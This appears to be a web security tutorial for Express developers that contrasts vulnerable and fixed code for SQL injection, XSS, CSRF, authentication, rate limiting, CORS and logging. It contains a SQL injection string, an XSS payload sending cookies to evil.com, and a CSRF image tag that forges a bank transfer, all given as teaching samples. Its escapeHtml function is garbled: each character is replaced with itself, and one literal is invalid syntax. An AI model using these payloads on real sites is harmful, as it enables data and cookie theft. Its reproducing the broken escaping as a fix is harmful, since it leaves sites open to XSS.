Security is Not Optional
Every web application is a potential target. Security breaches cost companies millions in damages, lost trust, and legal consequences. As developers, security is our responsibility from day one.
Common impacts of security breaches:
- Data theft (user information, credit cards)
- Service disruption
- Reputation damage
- Legal liability
- Financial losses
OWASP Top 10: The Critical Vulnerabilities
The OWASP Top 10 lists the most critical web application security risks. We’ll cover the most common ones with practical examples.
1. SQL Injection
The Vulnerability
// ❌ VULNERABLE: User input directly in SQL
app.get('/users', (req, res) => {
const { email } = req.query;
const query = `SELECT * FROM users WHERE email = '${email}'`;
db.query(query, (err, result) => {
res.json(result);
});
});
// Attack: /users?email=' OR '1'='1
// Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns ALL users!
The Fix: Parameterized Queries
// ✅ SAFE: Parameterized query
app.get('/users', async (req, res) => {
const { email } = req.query;
// PostgreSQL
const result = await pool.query(
'SELECT * FROM users WHERE email = $1',
[email]
);
// MySQL
const [rows] = await pool.query(
'SELECT * FROM users WHERE email = ?',
[email]
);
res.json(result.rows || rows);
});
ORM Protection
// Sequelize (automatically parameterizes)
const user = await User.findOne({
where: { email: req.query.email }
});
// Prisma (type-safe, SQL injection impossible)
const user = await prisma.user.findUnique({
where: { email: req.query.email }
});
Key takeaway: Never concatenate user input into SQL queries.
2. Cross-Site Scripting (XSS)
Stored XSS
// ❌ VULNERABLE: Renders user content as HTML
app.get('/posts/:id', async (req, res) => {
const post = await getPost(req.params.id);
res.send(`
<h1>${post.title}</h1>
<div>${post.content}</div>
`);
});
// Attacker posts:
// <script>fetch('https://evil.com?cookie='+document.cookie)</script>
// Now steals every visitor's cookies!
The Fix: Escape Output
// ✅ SAFE: Escape HTML entities
const escapeHtml = (text) => {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};
app.get('/posts/:id', async (req, res) => {
const post = await getPost(req.params.id);
res.send(`
<h1>${escapeHtml(post.title)}</h1>
<div>${escapeHtml(post.content)}</div>
`);
});
React Protection (Built-in)
// ✅ React automatically escapes
function Post({ post }) {
return (
<div>
<h1>{post.title}</h1>
<div>{post.content}</div>
</div>
);
}
// ⚠️ DANGEROUS: Only if you really need raw HTML
function Post({ post }) {
return (
<div dangerouslySetInnerHTML={{ __html: sanitize(post.content) }} />
);
}
Sanitize HTML
import DOMPurify from 'isomorphic-dompurify';
// ✅ Sanitize untrusted HTML
const clean = DOMPurify.sanitize(dirtyHtml);
// Only allow specific tags
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
Content Security Policy (CSP)
// Add CSP header
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline' https://trusted-cdn.com; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:;"
);
next();
});
3. Cross-Site Request Forgery (CSRF)
The Attack
<!-- Attacker's malicious website -->
<img src="https://yourbank.com/transfer?to=attacker&amount=1000" />
<!-- If user is logged into yourbank.com, this executes! -->
The Fix: CSRF Tokens
import csrf from 'csurf';
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// Token validated automatically
// Process transfer
});
Frontend
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="<%= csrfToken %>" />
<input name="amount" />
<button type="submit">Transfer</button>
</form>
// AJAX requests
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'CSRF-Token': csrfToken,
},
body: JSON.stringify({ amount: 100 }),
});
SameSite Cookies
// Modern CSRF protection
res.cookie('sessionId', token, {
httpOnly: true,
secure: true,
sameSite: 'strict', // or 'lax'
});
4. Authentication & Authorization
Password Storage
import bcrypt from 'bcrypt';
// ❌ NEVER store plain passwords
await db.query('INSERT INTO users (email, password) VALUES ($1, $2)',
[email, password]);
// ❌ NEVER use weak hashing
const hash = crypto.createHash('md5').update(password).digest('hex');
// ✅ Use bcrypt
const saltRounds = 12;
const hash = await bcrypt.hash(password, saltRounds);
await db.query('INSERT INTO users (email, password_hash) VALUES ($1, $2)',
[email, hash]);
// Verify
const user = await getUserByEmail(email);
const match = await bcrypt.compare(password, user.password_hash);
JWT Best Practices
import jwt from 'jsonwebtoken';
// ✅ Sign tokens
const token = jwt.sign(
{ userId: user.id, email: user.email },
process.env.JWT_SECRET,
{ expiresIn: '15m' } // Short-lived!
);
// ✅ Verify tokens
const authMiddleware = (req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (err) {
return res.status(401).json({ error: 'Invalid token' });
}
};
// Use middleware
app.get('/protected', authMiddleware, (req, res) => {
res.json({ user: req.user });
});
Refresh Tokens
// Issue both access and refresh tokens
function generateTokens(user) {
const accessToken = jwt.sign(
{ userId: user.id },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
);
const refreshToken = jwt.sign(
{ userId: user.id, type: 'refresh' },
process.env.REFRESH_SECRET,
{ expiresIn: '7d' }
);
return { accessToken, refreshToken };
}
// Refresh endpoint
app.post('/refresh', async (req, res) => {
const { refreshToken } = req.body;
try {
const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
if (decoded.type !== 'refresh') {
throw new Error('Invalid token type');
}
// Verify refresh token hasn't been revoked
const valid = await isRefreshTokenValid(decoded.userId, refreshToken);
if (!valid) {
throw new Error('Token revoked');
}
const user = await getUserById(decoded.userId);
const { accessToken } = generateTokens(user);
res.json({ accessToken });
} catch (err) {
res.status(401).json({ error: 'Invalid refresh token' });
}
});
Session Security
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';
const redisClient = createClient();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // HTTPS only
httpOnly: true, // No JavaScript access
maxAge: 3600000, // 1 hour
sameSite: 'strict', // CSRF protection
},
}));
5. Rate Limiting
Prevent Brute Force
import rateLimit from 'express-rate-limit';
// Global rate limit
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
message: 'Too many requests, please try again later.',
});
app.use(limiter);
// Login endpoint (stricter)
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // 5 login attempts per 15 minutes
skipSuccessfulRequests: true,
});
app.post('/login', loginLimiter, async (req, res) => {
// Login logic
});
Rate Limiting by User
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';
import { createClient } from 'redis';
const redisClient = createClient();
const apiLimiter = rateLimit({
store: new RedisStore({
client: redisClient,
}),
windowMs: 60 * 1000, // 1 minute
max: 60, // 60 requests per minute
keyGenerator: (req) => req.user?.id || req.ip,
});
app.use('/api/', authMiddleware, apiLimiter);
6. Input Validation
Never Trust User Input
import { z } from 'zod';
// Define schema
const userSchema = z.object({
email: z.string().email(),
username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
age: z.number().int().min(13).max(120),
website: z.string().url().optional(),
});
// Validate
app.post('/users', async (req, res) => {
try {
const data = userSchema.parse(req.body);
// data is now validated and typed
const user = await createUser(data);
res.json(user);
} catch (err) {
if (err instanceof z.ZodError) {
return res.status(400).json({ errors: err.errors });
}
throw err;
}
});
Sanitize File Uploads
import multer from 'multer';
import path from 'path';
const upload = multer({
storage: multer.diskStorage({
destination: './uploads/',
filename: (req, file, cb) => {
// Generate safe filename
const uniqueSuffix = Date.now() + '-' + Math.round(Math.random() * 1E9);
cb(null, uniqueSuffix + path.extname(file.originalname));
},
}),
limits: {
fileSize: 5 * 1024 * 1024, // 5MB max
},
fileFilter: (req, file, cb) => {
// Whitelist file types
const allowedTypes = /jpeg|jpg|png|gif|pdf/;
const extname = allowedTypes.test(path.extname(file.originalname).toLowerCase());
const mimetype = allowedTypes.test(file.mimetype);
if (extname && mimetype) {
cb(null, true);
} else {
cb(new Error('Invalid file type'));
}
},
});
app.post('/upload', upload.single('file'), (req, res) => {
res.json({ filename: req.file.filename });
});
7. HTTPS Everywhere
// Force HTTPS
app.use((req, res, next) => {
if (req.header('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') {
return res.redirect(`https://${req.header('host')}${req.url}`);
}
next();
});
// Helmet.js for security headers
import helmet from 'helmet';
app.use(helmet());
// Or configure manually
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
scriptSrc: ["'self'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true,
},
}));
8. Dependency Security
Audit Dependencies
# npm
npm audit
npm audit fix
# Yarn
yarn audit
# Check specific package
npm view express versions
Automated Scanning
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- run: npm audit --audit-level=high
- uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
Keep Dependencies Updated
# Check outdated
npm outdated
# Update
npm update
# Or use Dependabot (GitHub)
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
9. API Security
API Keys
// Validate API key
const apiKeyMiddleware = async (req, res, next) => {
const apiKey = req.headers['x-api-key'];
if (!apiKey) {
return res.status(401).json({ error: 'API key required' });
}
const valid = await validateApiKey(apiKey);
if (!valid) {
return res.status(401).json({ error: 'Invalid API key' });
}
next();
};
app.use('/api', apiKeyMiddleware);
CORS Configuration
import cors from 'cors';
// ❌ Dangerous: Allow all origins
app.use(cors());
// ✅ Specific origins only
app.use(cors({
origin: [
'https://yourdomain.com',
'https://app.yourdomain.com',
],
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
}));
// ✅ Dynamic origin validation
app.use(cors({
origin: (origin, callback) => {
const allowedOrigins = process.env.ALLOWED_ORIGINS?.split(',') || [];
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
}));
10. Logging & Monitoring
Security Event Logging
import winston from 'winston';
const logger = winston.createLogger({
level: 'info',
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.File({ filename: 'security.log', level: 'warn' }),
],
});
// Log security events
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const user = await getUserByEmail(email);
if (!user) {
logger.warn('Login attempt with non-existent email', { email, ip: req.ip });
return res.status(401).json({ error: 'Invalid credentials' });
}
const valid = await bcrypt.compare(password, user.password_hash);
if (!valid) {
logger.warn('Failed login attempt', { email, ip: req.ip });
return res.status(401).json({ error: 'Invalid credentials' });
}
logger.info('Successful login', { userId: user.id, ip: req.ip });
// Issue token
});
Monitor Suspicious Activity
// Track failed login attempts
const failedAttempts = new Map();
app.post('/login', async (req, res) => {
const { email } = req.body;
const attempts = failedAttempts.get(email) || 0;
if (attempts >= 5) {
logger.error('Account locked due to too many failed attempts', { email });
// Send alert
await sendSecurityAlert({ type: 'account_locked', email });
return res.status(429).json({ error: 'Account temporarily locked' });
}
// ... login logic
if (!valid) {
failedAttempts.set(email, attempts + 1);
setTimeout(() => failedAttempts.delete(email), 15 * 60 * 1000); // Reset after 15min
} else {
failedAttempts.delete(email);
}
});
Security Checklist
- Use HTTPS everywhere
- Validate and sanitize all user input
- Use parameterized queries (no SQL injection)
- Escape output (no XSS)
- Implement CSRF protection
- Hash passwords with bcrypt/argon2
- Use secure session management
- Implement rate limiting
- Add security headers (Helmet.js)
- Keep dependencies updated
- Use environment variables for secrets
- Implement proper error handling (don’t leak info)
- Log security events
- Regular security audits
- Principle of least privilege
- Regular backups
